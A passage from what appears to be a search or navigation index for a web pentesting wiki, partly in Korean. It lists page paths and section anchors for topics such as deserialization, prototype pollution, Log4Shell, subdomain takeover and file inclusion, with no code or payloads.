ndex.html#폼-훔치기-3","pentesting-web/dangling-markup-html-scriptless-injection/index.html#명확한-텍스트-비밀-훔치기-2","pentesting-web/dangling-markup-html-scriptless-injection/index.html#form-parameter-injection","pentesting-web/dangling-markup-html-scriptless-injection/index.html#stealing-clear-text-secrets-via-noscript","pentesting-web/dangling-markup-html-scriptless-injection/index.html#bypassing-csp-with-user-interaction","pentesting-web/dangling-markup-html-scriptless-injection/index.html#오해의-소지가-있는-스크립트-워크플로우-1---html-네임스페이스-공격","pentesting-web/dangling-markup-html-scriptless-injection/index.html#오해의-소지가-있는-스크립트-워크플로우-2---스크립트-네임스페이스-공격","pentesting-web/dangling-markup-html-scriptless-injection/index.html#jsonp-남용","pentesting-web/dangling-markup-html-scriptless-injection/index.html#iframe-남용","pentesting-web/dangling-markup-html-scriptless-injection/index.html#meta-남용","pentesting-web/dangling-markup-html-scriptless-injection/index.html#새로운-portal-html-태그","pentesting-web/dangling-markup-html-scriptless-injection/index.html#html-누수","pentesting-web/dangling-markup-html-scriptless-injection/index.html#ss-leaks","pentesting-web/dangling-markup-html-scriptless-injection/index.html#xs-searchxs-leaks","pentesting-web/dangling-markup-html-scriptless-injection/index.html#무차별-대입-탐지-목록","pentesting-web/dangling-markup-html-scriptless-injection/index.html#참고-문헌","pentesting-web/dangling-markup-html-scriptless-injection/ss-leaks.html#ss-leaks","pentesting-web/dapps-DecentralizedApplications.html#dapps---분산-애플리케이션","pentesting-web/dapps-DecentralizedApplications.html#dapp이란-무엇인가","pentesting-web/dapps-DecentralizedApplications.html#web3-dapp-아키텍처","pentesting-web/dapps-DecentralizedApplications.html#api-없는-dapps","pentesting-web/dapps-DecentralizedApplications.html#api-사용-가능-dapps","pentesting-web/dapps-DecentralizedApplications.html#풀-스케일-dapps","pentesting-web/dapps-DecentralizedApplications.html#web2-취약점","pentesting-web/dapps-DecentralizedApplications.html#web3-공격-표면","pentesting-web/dapps-DecentralizedApplications.html#자금-낭비-백엔드에-거래-수행-강제","pentesting-web/dapps-DecentralizedApplications.html#dos-불량-거래-처리-시간","pentesting-web/dapps-DecentralizedApplications.html#백엔드블록체인-비동기---경쟁-조건","pentesting-web/dapps-DecentralizedApplications.html#스마트-계약-주소-검증","pentesting-web/dapps-DecentralizedApplications.html#자산-클래스-처리-오류","pentesting-web/dapps-DecentralizedApplications.html#참고-문헌","pentesting-web/dependency-confusion.html#dependency-confusion","pentesting-web/dependency-confusion.html#basic-information","pentesting-web/dependency-confusion.html#exploitation","pentesting-web/dependency-confusion.html#misspelled--inexistent","pentesting-web/dependency-confusion.html#unspecified-version--best-version-selection-across-indexes","pentesting-web/dependency-confusion.html#aws-fix","pentesting-web/dependency-confusion.html#finding-vulnerable-libraries","pentesting-web/dependency-confusion.html#practical-attacker-playbook-for-red-teams-in-authorized-tests","pentesting-web/dependency-confusion.html#defender-playbook-what-actually-prevents-confusion","pentesting-web/dependency-confusion.html#ecosystem-notes-and-secure-config-snippets","pentesting-web/dependency-confusion.html#javascripttypescript-npm-yarn-pnpm","pentesting-web/dependency-confusion.html#python-pip--poetry","pentesting-web/dependency-confusion.html#net-nuget","pentesting-web/dependency-confusion.html#java-mavengradle","pentesting-web/dependency-confusion.html#go-modules","pentesting-web/dependency-confusion.html#rust-cargo","pentesting-web/dependency-confusion.html#ruby-bundler","pentesting-web/dependency-confusion.html#cicd-및-레지스트리-제어","pentesting-web/dependency-confusion.html#참고문헌","pentesting-web/deserialization/index.html#deserialization","pentesting-web/deserialization/index.html#basic-information","pentesting-web/deserialization/index.html#php","pentesting-web/deserialization/index.html#php-deserial--autoload-classes","pentesting-web/deserialization/index.html#참조된-값-직렬화","pentesting-web/deserialization/index.html#php-객체-주입-방지하기-allowed_classes","pentesting-web/deserialization/index.html#phpggc-php용-ysoserial","pentesting-web/deserialization/index.html#phar-메타데이터-역직렬화","pentesting-web/deserialization/index.html#python","pentesting-web/deserialization/index.html#pickle","pentesting-web/deserialization/index.html#yaml----jsonpickle","pentesting-web/deserialization/index.html#클래스-오염-python-프로토타입-오염","pentesting-web/deserialization/index.html#nodejs","pentesting-web/deserialization/index.html#js-매직-함수","pentesting-web/deserialization/index.html#__proto__-및-prototype-오염","pentesting-web/deserialization/index.html#node-serialize","pentesting-web/deserialization/index.html#funcster","pentesting-web/deserialization/index.html#serialize-javascript","pentesting-web/deserialization/index.html#cryo-라이브러리","pentesting-web/deserialization/index.html#java---http","pentesting-web/deserialization/index.html#지문","pentesting-web/deserialization/index.html#취약점-확인","pentesting-web/deserialization/index.html#익스플로잇","pentesting-web/deserialization/index.html#labs","pentesting-web/deserialization/index.html#why","pentesting-web/deserialization/index.html#prevention","pentesting-web/deserialization/index.html#참고-문헌","pentesting-web/deserialization/index.html#jndi-인젝션-및-log4shell","pentesting-web/deserialization/index.html#jms---java-메시지-서비스","pentesting-web/deserialization/index.html#제품","pentesting-web/deserialization/index.html#악용","pentesting-web/deserialization/index.html#참고-문헌-1","pentesting-web/deserialization/index.html#net","pentesting-web/deserialization/index.html#지문-1","pentesting-web/deserialization/index.html#ysoserialnet","pentesting-web/deserialization/index.html#viewstate","pentesting-web/deserialization/index.html#prevention-1","pentesting-web/deserialization/index.html#references","pentesting-web/deserialization/index.html#ruby","pentesting-web/deserialization/index.html#ruby-send-메서드","pentesting-web/deserialization/index.html#ruby-클래스-오염","pentesting-web/deserialization/index.html#ruby-_json-오염","pentesting-web/deserialization/index.html#기타-라이브러리","pentesting-web/deserialization/index.html#bootstrap-caching","pentesting-web/deserialization/index.html#ruby-marshal-exploitation-in-practice-updated","pentesting-web/deserialization/index.html#references-1","pentesting-web/deserialization/nodejs-proto-prototype-pollution/index.html#nodejs---__proto__--prototype-pollution","pentesting-web/deserialization/nodejs-proto-prototype-pollution/index.html#javascript의-객체","pentesting-web/deserialization/nodejs-proto-prototype-pollution/index.html#javascript의-함수와-클래스","pentesting-web/deserialization/nodejs-proto-prototype-pollution/index.html#prototypes-in-javascript","pentesting-web/deserialization/nodejs-proto-prototype-pollution/index.html#inheritance","pentesting-web/deserialization/nodejs-proto-prototype-pollution/index.html#__proto__-pollution","pentesting-web/deserialization/nodejs-proto-prototype-pollution/index.html#exploring-prototype-pollution-in-javascript","pentesting-web/deserialization/nodejs-proto-prototype-pollution/index.html#prototype-pollution","pentesting-web/deserialization/nodejs-proto-prototype-pollution/index.html#다른-객체-오염시키기","pentesting-web/deserialization/nodejs-proto-prototype-pollution/index.html#클래스에서-objectprototype으로","pentesting-web/deserialization/nodejs-proto-prototype-pollution/index.html#array-elements-pollution","pentesting-web/deserialization/nodejs-proto-prototype-pollution/index.html#html-elements-pollution","pentesting-web/deserialization/nodejs-proto-prototype-pollution/index.html#예제","pentesting-web/deserialization/nodejs-proto-prototype-pollution/index.html#기본-예제","pentesting-web/deserialization/nodejs-proto-prototype-pollution/index.html#override-function","pentesting-web/deserialization/nodejs-proto-prototype-pollution/index.html#프로토-폴루션을-통한-rce","pentesting-web/deserialization/nodejs-proto-prototype-pollution/index.html#클라이언트-측-프로토타입-폴루션을-통한-xss","pentesting-web/deserialization/nodejs-proto-prototype-pollution/index.html#cve-201911358-jquery--extend를-통한-프로토타입-폴루션-공격","pentesting-web/deserialization/nodejs-proto-prototype-pollution/index.html#cve-20183721-cve-201910744-lodash를-통한-프로토타입-오염-공격","pentesting-web/deserialization/nodejs-proto-prototype-pollution/index.html#cve가-포함된-또-다른-튜토리얼","pentesting-web/deserialization/nodejs-proto-prototype-pollution/index.html#프로토타입-오염을-탐지하는-도구","pentesting-web/deserialization/nodejs-proto-prototype-pollution/index.html#nodejs의-ast-프로토타입-오염","pentesting-web/deserialization/nodejs-proto-prototype-pollution/index.html#예방-조치","pentesting-web/deserialization/nodejs-proto-prototype-pollution/index.html#참고-문헌","pentesting-web/deserialization/nodejs-proto-prototype-pollution/client-side-prototype-pollution.html#클라이언트-사이드-프로토타입-오염","pentesting-web/deserialization/nodejs-proto-prototype-pollution/client-side-prototype-pollution.html#자동-도구를-사용한-발견","pentesting-web/deserialization/nodejs-proto-prototype-pollution/client-side-prototype-pollution.html#속성이-사용되는-위치-디버깅","pentesting-web/deserialization/nodejs-proto-prototype-pollution/client-side-prototype-pollution.html#prototype-pollution의-근본-원인-찾기","pentesting-web/deserialization/nodejs-proto-prototype-pollution/client-side-prototype-pollution.html#스크립트-가젯-찾기","pentesting-web/deserialization/nodejs-proto-prototype-pollution/client-side-prototype-pollution.html#mithil-라이브러리-코드에서-pp-가젯-찾기-예시","pentesting-web/deserialization/nodejs-proto-prototype-pollution/client-side-prototype-pollution.html#취약한-라이브러리를-위한-페이로드-재컴파일","pentesting-web/deserialization/nodejs-proto-prototype-pollution/client-side-prototype-pollution.html#pp를-통한-html-세니타이저-우회","pentesting-web/deserialization/nodejs-proto-prototype-pollution/client-side-prototype-pollution.html#new-tools--automation-20232025","pentesting-web/deserialization/nodejs-proto-prototype-pollution/client-side-prototype-pollution.html#recent-prototype-pollution-gadget-research-20222025","pentesting-web/deserialization/nodejs-proto-prototype-pollution/client-side-prototype-pollution.html#주목할-만한-클라이언트-측-pp-cve-2023-2025","pentesting-web/deserialization/nodejs-proto-prototype-pollution/client-side-prototype-pollution.html#현대-방어-조치","pentesting-web/deserialization/nodejs-proto-prototype-pollution/client-side-prototype-pollution.html#references","pentesting-web/deserialization/nodejs-proto-prototype-pollution/express-prototype-pollution-gadgets.html#express-prototype-pollution-gadgets","pentesting-web/deserialization/nodejs-proto-prototype-pollution/express-prototype-pollution-gadgets.html#xss-응답-제공","pentesting-web/deserialization/nodejs-proto-prototype-pollution/express-prototype-pollution-gadgets.html#json-콘텐츠-유형을-html로-변경","pentesting-web/deserialization/nodejs-proto-prototype-pollution/express-prototype-pollution-gadgets.html#utf7-렌더링","pentesting-web/deserialization/nodejs-proto-prototype-pollution/express-prototype-pollution-gadgets.html#안전한-스캐닝-기술","pentesting-web/deserialization/nodejs-proto-prototype-pollution/express-prototype-pollution-gadgets.html#json-공백","pentesting-web/deserialization/nodejs-proto-prototype-pollution/express-prototype-pollution-gadgets.html#노출된-헤더","pentesting-web/deserialization/nodejs-proto-prototype-pollution/express-prototype-pollution-gadgets.html#options-메서드","pentesting-web/deserialization/nodejs-proto-prototype-pollution/express-prototype-pollution-gadgets.html#상태","pentesting-web/deserialization/nodejs-proto-prototype-pollution/express-prototype-pollution-gadgets.html#오류","pentesting-web/deserialization/nodejs-proto-prototype-pollution/express-prototype-pollution-gadgets.html#reflected-value","pentesting-web/deserialization/nodejs-proto-prototype-pollution/express-prototype-pollution-gadgets.html#misc","pentesting-web/deserialization/nodejs-proto-prototype-pollution/express-prototype-pollution-gadgets.html#allow-dots","pentesting-web/deserialization/nodejs-proto-prototype-pollution/express-prototype-pollution-gadgets.html#references","pentesting-web/deserialization/nodejs-proto-prototype-pollution/prototype-pollution-to-rce.html#prototype-pollution-to-rce","pentesting-web/deserialization/nodejs-proto-prototype-pollution/prototype-pollution-to-rce.html#취약한-코드","pentesting-web/deserialization/nodejs-proto-prototype-pollution/prototype-pollution-to-rce.html#pp2rce-via-env-vars","pentesting-web/deserialization/nodejs-proto-prototype-pollution/prototype-pollution-to-rce.html#__proto__-오염","pentesting-web/deserialization/nodejs-proto-prototype-pollution/prototype-pollution-to-rce.html#constructorprototype-오염","pentesting-web/deserialization/nodejs-proto-prototype-pollution/prototype-pollution-to-rce.html#pp2rce-via-env-vars--cmdline","pentesting-web/deserialization/nodejs-proto-prototype-pollution/prototype-pollution-to-rce.html#filesystem-less-pp2rce-via---import-node--19","pentesting-web/deserialization/nodejs-proto-prototype-pollution/prototype-pollution-to-rce.html#왜---import가-도움이-되는가","pentesting-web/deserialization/nodejs-proto-prototype-pollution/prototype-pollution-to-rce.html#dns-상호작용","pentesting-web/deserialization/nodejs-proto-prototype-pollution/prototype-pollution-to-rce.html#pp2rce-취약점-child_process-함수","pentesting-web/deserialization/nodejs-proto-prototype-pollution/prototype-pollution-to-rce.html#강제-스폰","pentesting-web/deserialization/nodejs-proto-prototype-pollution/prototype-pollution-to-rce.html#require-파일-경로-제어","pentesting-web/deserialization/nodejs-proto-prototype-pollution/prototype-pollution-to-rce.html#프로토타입-오염을-통한-require-파일-경로-설정","pentesting-web/deserialization/nodejs-proto-prototype-pollution/prototype-pollution-to-rce.html#vm-gadgets","pentesting-web/deserialization/nodejs-proto-prototype-pollution/prototype-pollution-to-rce.html#fixes--unexpected-protections","pentesting-web/deserialization/nodejs-proto-prototype-pollution/prototype-pollution-to-rce.html#other-gadgets","pentesting-web/deserialization/nodejs-proto-prototype-pollution/prototype-pollution-to-rce.html#references","pentesting-web/deserialization/java-jsf-viewstate-.faces-deserialization.html","pentesting-web/deserialization/java-dns-deserialization-and-gadgetprobe.html#java-dns-deserialization-gadgetprobe-and-java-deserialization-scanner","pentesting-web/deserialization/java-dns-deserialization-and-gadgetprobe.html#dns-요청-및-역직렬화","pentesting-web/deserialization/java-dns-deserialization-and-gadgetprobe.html#urldns-페이로드-코드-예제","pentesting-web/deserialization/java-dns-deserialization-and-gadgetprobe.html#추가-정보","pentesting-web/deserialization/java-dns-deserialization-and-gadgetprobe.html#gadgetprobe","pentesting-web/deserialization/java-dns-deserialization-and-gadgetprobe.html#작동-방식","pentesting-web/deserialization/java-dns-deserialization-and-gadgetprobe.html#추가-정보-1","pentesting-web/deserialization/java-dns-deserialization-and-gadgetprobe.html#java-역직렬화-스캐너","pentesting-web/deserialization/java-dns-deserialization-and-gadgetprobe.html#수동","pentesting-web/deserialization/java-dns-deserialization-and-gadgetprobe.html#능동","pentesting-web/deserialization/java-dns-deserialization-and-gadgetprobe.html#java-역직렬화-dns-유출-정보","pentesting-web/deserialization/java-dns-deserialization-and-gadgetprobe.html#추가-정보-2","pentesting-web/deserialization/basic-java-deserialization-objectinputstream-readobject.html#basic-java-deserialization-with-objectinputstream-readobject","pentesting-web/deserialization/basic-java-deserialization-objectinputstream-readobject.html#serializable","pentesting-web/deserialization/basic-java-deserialization-objectinputstream-readobject.html#reminder-which-methods-are-implicitly-invoked-during-deserialization","pentesting-web/deserialization/basic-java-deserialization-objectinputstream-readobject.html#결론-고전-시나리오","pentesting-web/deserialization/basic-java-deserialization-objectinputstream-readobject.html#2023-2025-java-역직렬화-공격의-새로운-내용은-무엇인가","pentesting-web/deserialization/basic-java-deserialization-objectinputstream-readobject.html#배포해야-할-현대적-완화책","pentesting-web/deserialization/basic-java-deserialization-objectinputstream-readobject.html#업데이트된-도구-치트-시트-2024","pentesting-web/deserialization/basic-java-deserialization-objectinputstream-readobject.html#안전한-readobject-구현을-위한-빠른-체크리스트","pentesting-web/deserialization/basic-java-deserialization-objectinputstream-readobject.html#참고-문헌","pentesting-web/deserialization/php-deserialization-+-autoload-classes.html#php---deserialization--autoload-classes","pentesting-web/deserialization/php-deserialization-+-autoload-classes.html#php-deserialization--spl_autoload_register--lfigadget","pentesting-web/deserialization/java-transformers-to-rutime-exec-payload.html#commonscollection1-payload---java-transformers-to-rutime-exec-and-thread-sleep","pentesting-web/deserialization/java-transformers-to-rutime-exec-payload.html#java-transformers-to-rutime-exec","pentesting-web/deserialization/java-transformers-to-rutime-exec-payload.html#방법","pentesting-web/deserialization/java-transformers-to-rutime-exec-payload.html#요약","pentesting-web/deserialization/java-transformers-to-rutime-exec-payload.html#java-thread-sleep","pentesting-web/deserialization/java-transformers-to-rutime-exec-payload.html#더-많은-가젯","pentesting-web/deserialization/java-transformers-to-rutime-exec-payload.html","pentesting-web/deserialization/basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.html#basic-net-deserialization-objectdataprovider-gadget-expandedwrapper-and-jsonnet","pentesting-web/deserialization/basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.html#objectdataprovider-gadget","pentesting-web/deserialization/basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.html#how-is-this-possible","pentesting-web/deserialization/basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.html#expandedwrapper","pentesting-web/deserialization/basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.html#jsonnet","pentesting-web/deserialization/basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.html#jsonnet-example","pentesting-web/deserialization/basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.html#jsonnet-악용","pentesting-web/deserialization/basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.html#고급-net-gadget-chains-ysonet--ysoserialnet","pentesting-web/deserialization/basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.html#ysonet-빌드--설치","pentesting-web/deserialization/basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.html#탐지-및-강화","pentesting-web/deserialization/basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.html#실제-사례-sitecore-converttoruntimehtml--binaryformatter","pentesting-web/deserialization/basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.html#참고자료","pentesting-web/deserialization/exploiting-__viewstate-knowing-the-secret.html","pentesting-web/deserialization/exploiting-__viewstate-parameter.html#exploiting-__viewstate-without-knowing-the-secrets","pentesting-web/deserialization/exploiting-__viewstate-parameter.html#what-is-viewstate","pentesting-web/deserialization/exploiting-__viewstate-parameter.html#test-cases","pentesting-web/deserialization/exploiting-__viewstate-parameter.html#test-case-1--enableviewstatemacfalse-and-viewstateencryptionmodefalse","pentesting-web/deserialization/exploiting-__viewstate-parameter.html#test-case-15--test-case-1과-같지만-viewstate-쿠키가-서버에-의해-전송되지-않음","pentesting-web/deserialization/exploiting-__viewstate-parameter.html#test-case-2--net--45-및-enableviewstatemactrue--viewstateencryptionmodefalse","pentesting-web/deserialization/exploiting-__viewstate-parameter.html#test-case-3--net--45-and-enableviewstatemactruefalse-and-viewstateencryptionmodetrue","pentesting-web/deserialization/exploiting-__viewstate-parameter.html#test-case-4--net--45-and-enableviewstatemactruefalse-and-viewstateencryptionmodetruefalse-except-both-attribute-to-false","pentesting-web/deserialization/exploiting-__viewstate-parameter.html#test-case-6--viewstateuserkeys가-사용되고-있음","pentesting-web/deserialization/exploiting-__viewstate-parameter.html#result-of-a-successful-exploitation","pentesting-web/deserialization/exploiting-__viewstate-parameter.html#dumping-aspnet-machine-keys-via-reflection-sharpyshellsharepoint-toolshell","pentesting-web/deserialization/exploiting-__viewstate-parameter.html#2024-2025-실제-악용-시나리오-및-하드코딩된-머신-키","pentesting-web/deserialization/exploiting-__viewstate-parameter.html#microsoft-공식-공개된-머신-키-파동-2024년-12월--2025년-2월","pentesting-web/deserialization/exploiting-__viewstate-parameter.html#cve-2025-30406--gladinet-centrestack--triofox-하드코딩된-키","pentesting-web/deserialization/exploiting-__viewstate-parameter.html#references","pentesting-web/deserialization/python-yaml-deserialization.html#python-yaml-deserialization","pentesting-web/deserialization/python-yaml-deserialization.html#yaml--deserialization","pentesting-web/deserialization/python-yaml-deserialization.html#기본-익스플로잇","pentesting-web/deserialization/python-yaml-deserialization.html#취약한-load-로더-없이","pentesting-web/deserialization/python-yaml-deserialization.html#rce","pentesting-web/deserialization/python-yaml-deserialization.html#payload-생성-도구","pentesting-web/deserialization/python-yaml-deserialization.html#references","pentesting-web/deserialization/jndi-java-naming-and-directory-interface-and-log4shell.html#jndi---java-naming-and-directory-interface--log4shell","pentesting-web/deserialization/jndi-java-naming-and-directory-interface-and-log4shell.html#기본-정보","pentesting-web/deserialization/jndi-java-naming-and-directory-interface-and-log4shell.html#jndi-이름-참조","pentesting-web/deserialization/jndi-java-naming-and-directory-interface-and-log4shell.html#jndi-예시","pentesting-web/deserialization/jndi-java-naming-and-directory-interface-and-log4shell.html#corba-개요","pentesting-web/deserialization/jndi-java-naming-and-directory-interface-and-log4shell.html#rmi-컨텍스트","pentesting-web/deserialization/jndi-java-naming-and-directory-interface-and-log4shell.html#ldap","pentesting-web/deserialization/jndi-java-naming-and-directory-interface-and-log4shell.html#log4shell-취약점","pentesting-web/deserialization/jndi-java-naming-and-directory-interface-and-log4shell.html#log4shell-관련-cve-개요","pentesting-web/deserialization/jndi-java-naming-and-directory-interface-and-log4shell.html#cve-2021-44228---critical","pentesting-web/deserialization/jndi-java-naming-and-directory-interface-and-log4shell.html#cve-2021-45046---critical","pentesting-web/deserialization/jndi-java-naming-and-directory-interface-and-log4shell.html#cve-2021-4104---high","pentesting-web/deserialization/jndi-java-naming-and-directory-interface-and-log4shell.html#cve-2021-42550---moderate","pentesting-web/deserialization/jndi-java-naming-and-directory-interface-and-log4shell.html#cve-2021-45105---high","pentesting-web/deserialization/jndi-java-naming-and-directory-interface-and-log4shell.html#cve-2021-44832","pentesting-web/deserialization/jndi-java-naming-and-directory-interface-and-log4shell.html#log4shell-악용","pentesting-web/deserialization/jndi-java-naming-and-directory-interface-and-log4shell.html#발견","pentesting-web/deserialization/jndi-java-naming-and-directory-interface-and-log4shell.html#검증","pentesting-web/deserialization/jndi-java-naming-and-directory-interface-and-log4shell.html#rce-정보","pentesting-web/deserialization/jndi-java-naming-and-directory-interface-and-log4shell.html#rce---사용자-정의-페이로드를-사용한-marshalsec","pentesting-web/deserialization/jndi-java-naming-and-directory-interface-and-log4shell.html#rce----jndiexploit","pentesting-web/deserialization/jndi-java-naming-and-directory-interface-and-log4shell.html#rce---jndi-exploit-kit","pentesting-web/deserialization/jndi-java-naming-and-directory-interface-and-log4shell.html#rce---jndi-injection-exploit-plus","pentesting-web/deserialization/jndi-java-naming-and-directory-interface-and-log4shell.html#rce---ysoserial--jndi-exploit-kit","pentesting-web/deserialization/jndi-java-naming-and-directory-interface-and-log4shell.html#우회-방법","pentesting-web/deserialization/jndi-java-naming-and-directory-interface-and-log4shell.html#자동-스캐너","pentesting-web/deserialization/jndi-java-naming-and-directory-interface-and-log4shell.html#테스트할-실험실","pentesting-web/deserialization/jndi-java-naming-and-directory-interface-and-log4shell.html#post-log4shell-악용","pentesting-web/deserialization/jndi-java-naming-and-directory-interface-and-log4shell.html#env-lookups","pentesting-web/deserialization/jndi-java-naming-and-directory-interface-and-log4shell.html#exfiltration-in-exceptions","pentesting-web/deserialization/jndi-java-naming-and-directory-interface-and-log4shell.html#conversion-patterns-exceptions","pentesting-web/deserialization/jndi-java-naming-and-directory-interface-and-log4shell.html#conversion-patterns-regexes","pentesting-web/deserialization/jndi-java-naming-and-directory-interface-and-log4shell.html#참고-문헌","pentesting-web/deserialization/ruby-_json-pollution.html#ruby-_json-pollution","pentesting-web/deserialization/ruby-_json-pollution.html#기본-정보","pentesting-web/deserialization/ruby-_json-pollution.html#참고-문헌","pentesting-web/deserialization/ruby-class-pollution.html#ruby-class-pollution","pentesting-web/deserialization/ruby-class-pollution.html#merge-on-attributes","pentesting-web/deserialization/ruby-class-pollution.html#설명","pentesting-web/deserialization/ruby-class-pollution.html#실제-사례","pentesting-web/deserialization/ruby-class-pollution.html#activesupport의-deep_merge","pentesting-web/deserialization/ruby-class-pollution.html#hashie의-deep_merge","pentesting-web/deserialization/ruby-class-pollution.html#클래스를-오염시키기","pentesting-web/deserialization/ruby-class-pollution.html#poison-parent-class","pentesting-web/deserialization/ruby-class-pollution.html#다른-클래스-오염","pentesting-web/deserialization/ruby-class-pollution.html#references","pentesting-web/domain-subdomain-takeover.html#domainsubdomain-takeover","pentesting-web/domain-subdomain-takeover.html#domain-takeover","pentesting-web/domain-subdomain-takeover.html#subdomain-takeover","pentesting-web/domain-subdomain-takeover.html#subdomain-takeover-generation-via-dns-wildcard","pentesting-web/domain-subdomain-takeover.html#exploiting-a-subdomain-takeover","pentesting-web/domain-subdomain-takeover.html#ssl-certificates","pentesting-web/domain-subdomain-takeover.html#cookie-security-and-browser-transparency","pentesting-web/domain-subdomain-takeover.html#cors-bypass","pentesting-web/domain-subdomain-takeover.html#csrf---same-site-cookies-bypass","pentesting-web/domain-subdomain-takeover.html#oauth-tokens-redirect","pentesting-web/domain-subdomain-takeover.html#csp-bypass","pentesting-web/domain-subdomain-takeover.html#emails-and-subdomain-takeover","pentesting-web/domain-subdomain-takeover.html#higher-order-risks","pentesting-web/domain-subdomain-takeover.html#cname-record-vulnerability","pentesting-web/domain-subdomain-takeover.html#mitigation-strategies","pentesting-web/domain-subdomain-takeover.html#references","pentesting-web/email-injections.html#이메일-인젝션","pentesting-web/email-injections.html#발송된-이메일에-인젝션","pentesting-web/email-injections.html#발신자-인자-뒤에-cc-및-bcc-인젝션","pentesting-web/email-injections.html#inject-argument","pentesting-web/email-injections.html#inject-subject-argument","pentesting-web/email-injections.html#메시지-본문-변경","pentesting-web/email-injections.html#php-mail-함수-악용","pentesting-web/email-injections.html#이메일-이름에-주입","pentesting-web/email-injections.html#이메일의-무시된-부분","pentesting-web/email-injections.html#화이트리스트-우회","pentesting-web/email-injections.html#인용","pentesting-web/email-injections.html#ip","pentesting-web/email-injections.html#이메일-인코딩","pentesting-web/email-injections.html#other-vulns","pentesting-web/email-injections.html#third-party-sso","pentesting-web/email-injections.html#xss","pentesting-web/email-injections.html#account-takeover","pentesting-web/email-injections.html#reply-to","pentesting-web/email-injections.html#hard-bounce-rate","pentesting-web/email-injections.html#references","pentesting-web/file-inclusion/index.html#file-inclusionpath-traversal","pentesting-web/file-inclusion/index.html#file-inclusion","pentesting-web/file-inclusion/index.html#blind---interesting---lfi2rce-files","pentesting-web/file-inclusion/index.html#linux","pentesting-web/file-inclusion/index.html#windows","pentesting-web/file-inclusion/index.html#os-x","pentesting-web/file-inclusion/index.html#기본-lfi-및-우회","pentesting-web/file-inclusion/index.html#traversal-sequences가-비재귀적으로-제거됨","pentesting-web/file-inclusion/index.html#null-byte-00","pentesting-web/file-inclusion/index.html#인코딩","pentesting-web/file-inclusion/index.html#존재하는-폴더에서","pentesting-web/file-inclusion/index.html#서버에서-파일-시스템-디렉터리-탐색","pentesting-web/file-inclusion/index.html#path-truncation-technique","pentesting-web/file-inclusion/index.html#filter-bypass-tricks","pentesting-web/file-inclusion/index.html#remote-file-inclusion","pentesting-web/file-inclusion/index.html#python-루트-요소","pentesting-web/file-inclusion/index.html#java-디렉토리-나열","pentesting-web/file-inclusion/index.html#상위-25개-파라미터","pentesting-web/file-inclusion/index.html#lfi--rfi--php-wrappers-및-프로토콜-사용","pentesting-web/file-inclusion/index.html#phpfilter","pentesting-web/file-inclusion/index.html#using-php-filters-as-oracle-to-read-arbitrary-files","pentesting-web/file-inclusion/index.html#phpfd","pentesting-web/file-inclusion/index.html#zip-및-rar","pentesting-web/file-inclusion/index.html#data","pentesting-web/file-inclusion/index.html#expect","pentesting-web/file-inclusion/index.html#input","pentesting-web/file-inclusion/index.html#phar","pentesting-web/file-inclusion/index.html#cve-2024-2961","pentesting-web/file-inclusion/index.html#more-protocols","pentesting-web/file-inclusion/index.html#lfi-via-php의-assert","pentesting-web/file-inclusion/index.html#php-blind-path-traversal","pentesting-web/file-inclusion/index.html#lfi2rce","pentesting-web/file-inclusion/index.html#arbitrary-file-write-via-path-traversal-webshell-rce","pentesting-web/file-inclusion/index.html#remote-file-inclusion-1","pentesting-web/file-inclusion/index.html#apachenginx-로그-파일을-통해","pentesting-web/file-inclusion/index.html#이메일로","pentesting-web/file-inclusion/index.html#via-procfd","pentesting-web/file-inclusion/index.html#via-procselfenviron","pentesting-web/file-inclusion/index.html#업로드를-통해","pentesting-web/file-inclusion/index.html#zip-파일-업로드","pentesting-web/file-inclusion/index.html#php-sessions를-통해","pentesting-web/file-inclusion/index.html#ssh를-통해","pentesting-web/file-inclusion/index.html#를-통한---vsftpd----로그","pentesting-web/file-inclusion/index.html#php-base64-filter-base64-사용-시","pentesting-web/file-inclusion/index.html#php-filters를-통한-방법-파일-불필요","pentesting-web/file-inclusion/index.html#segmentation-fault를-통한-방법","pentesting-web/file-inclusion/index.html#nginx-임시-파일-저장을-통한-방법","pentesting-web/file-inclusion/index.html#php_session_upload_progress를-통한-방법","pentesting-web/file-inclusion/index.html#windows에서-임시-파일-업로드를-통한-방법","pentesting-web/file-inclusion/index.html#pearcmdphp--url-args를-통한-방법","pentesting-web/file-inclusion/index.html#phpinfo를-통해-file_uploads--on","pentesting-web/file-inclusion/index.html#compresszlib--php_stream_prefer_studio--path-disclosure를-통해","pentesting-web/file-inclusion/index.html#eternal-waiting--bruteforce를-통해","pentesting-web/file-inclusion/index.html#fatal-error로","pentesting-web/file-inclusion/index.html#참고자료","pentesting-web/file-inclusion/phar-deserialization.html#phar-deserialization","pentesting-web/file-inclusion/phar-deserialization.html#references","pentesting-web/file-inclusion/lfi2rce-via-php-filters.html#lfi2rce-via-php-filters","pentesting-web/file-inclusion/lfi2rce-via-php-filters.html#소개","pentesting-web/file-inclusion/lfi2rce-via-php-filters.html#how-to-add-also-suffixes-to-the-resulting-data","pentesting-web/file-inclusion/lfi2rce-via-php-filters.html#automatic-tools","pentesting-web/file-inclusion/lfi2rce-via-php-filters.html#full-script","pentesting-web/file-inclusion/lfi2rce-via-php-filters.html#개선사항","pentesting-web/file-inclusion/lfi2rce-via-php-filters.html#추가-참고-자료","pentesting-web/file-inclusion/lfi2rce-via-nginx-temp-files.html#lfi2rce-via-nginx-temp-files","pentesting-web/file-inclusion/lfi2rce-via-nginx-temp-files.html#취약한-구성","pentesting-web/file-inclusion/lfi2rce-via-nginx-temp-files.html#labs","pentesting-web/file-inclusion/lfi2rce-via-nginx-temp-files.html#references","pentesting-web/file-inclusion/via-php_session_upload_progress.html#lfi2rce-via-php_session_upload_progress","pentesting-web/file-inclusion/via-php_session_upload_progress.html#기본-정보","pentesting-web/file-inclusion/via-php_session_upload_progress.html#ctf","pentesting-web/file-inclusion/lfi2rce-via-segmentation-fault.html#lfi2rce-via-segmentation-fault"